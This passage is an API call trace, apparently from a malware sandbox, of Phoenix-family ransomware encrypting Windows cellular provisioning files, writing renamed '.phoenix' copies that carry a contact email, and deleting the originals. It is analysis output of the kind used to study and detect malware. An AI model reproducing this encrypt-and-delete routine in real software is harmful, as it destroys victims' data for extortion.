	[0232.867] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0232.867] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0232.867] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0232.867] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0232.867] CloseHandle (hObject=0x2f4) returned 1
	[0232.867] CloseHandle (hObject=0x2e4) returned 1
	[0232.867] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml")) returned 1
	[0232.868] SetEvent (hEvent=0x278) returned 1
	[0232.869] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0232.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.869] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0232.869] CloseHandle (hObject=0x2e4) returned 1
	[0232.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0232.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.869] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.870] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.870] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0232.870] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.870] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0234.276] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0234.276] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0234.277] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1510c0) returned 1
	[0234.277] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0234.277] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0234.277] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0234.277] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0234.277] CryptDestroyKey (hKey=0x151400) returned 1
	[0234.277] CloseHandle (hObject=0x2e4) returned 1
	[0234.277] CloseHandle (hObject=0x2f4) returned 1
	[0234.277] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml")) returned 1
	[0234.278] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0234.278] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0234.278] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=646) returned 1
	[0234.279] CloseHandle (hObject=0x2f4) returned 1
	[0234.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0234.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.279] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0234.279] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0234.279] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0234.279] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0234.279] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0234.279] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0234.279] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x286, lpOverlapped=0x0) returned 1
	[0234.944] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0234.944] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0234.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0234.944] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0234.944] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0234.944] CryptDestroyKey (hKey=0x151740) returned 1
	[0234.945] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0234.945] CryptDestroyKey (hKey=0x151700) returned 1
	[0234.945] CloseHandle (hObject=0x2f4) returned 1
	[0234.945] CloseHandle (hObject=0x2e4) returned 1
	[0234.945] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml")) returned 1
	[0234.946] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0234.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0234.946] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=646) returned 1
	[0234.946] CloseHandle (hObject=0x2e4) returned 1
	[0234.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0234.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0234.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0234.947] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0234.947] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0234.947] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0234.947] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0234.947] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0234.947] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x286, lpOverlapped=0x0) returned 1
	[0235.002] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0235.003] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0235.003] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0235.003] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.003] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0235.003] CryptDestroyKey (hKey=0x151740) returned 1
	[0235.003] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0235.004] CryptDestroyKey (hKey=0x151580) returned 1
	[0235.004] CloseHandle (hObject=0x2e4) returned 1
	[0235.004] CloseHandle (hObject=0x2f4) returned 1
	[0235.004] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml")) returned 1
	[0235.005] SetEvent (hEvent=0x278) returned 1
	[0235.005] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.006] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=726) returned 1
	[0235.006] CloseHandle (hObject=0x2f4) returned 1
	[0235.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.006] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.006] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0235.006] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0235.006] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.007] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0235.071] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0235.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0235.072] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0235.072] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.072] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0235.072] CryptDestroyKey (hKey=0x151100) returned 1
	[0235.072] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0235.072] CryptDestroyKey (hKey=0x151380) returned 1
	[0235.072] CloseHandle (hObject=0x2f4) returned 1
	[0235.073] CloseHandle (hObject=0x2e4) returned 1
	[0235.073] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.077] SetEvent (hEvent=0x278) returned 1
	[0235.078] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.078] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.078] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=704) returned 1
	[0235.078] CloseHandle (hObject=0x2f4) returned 1
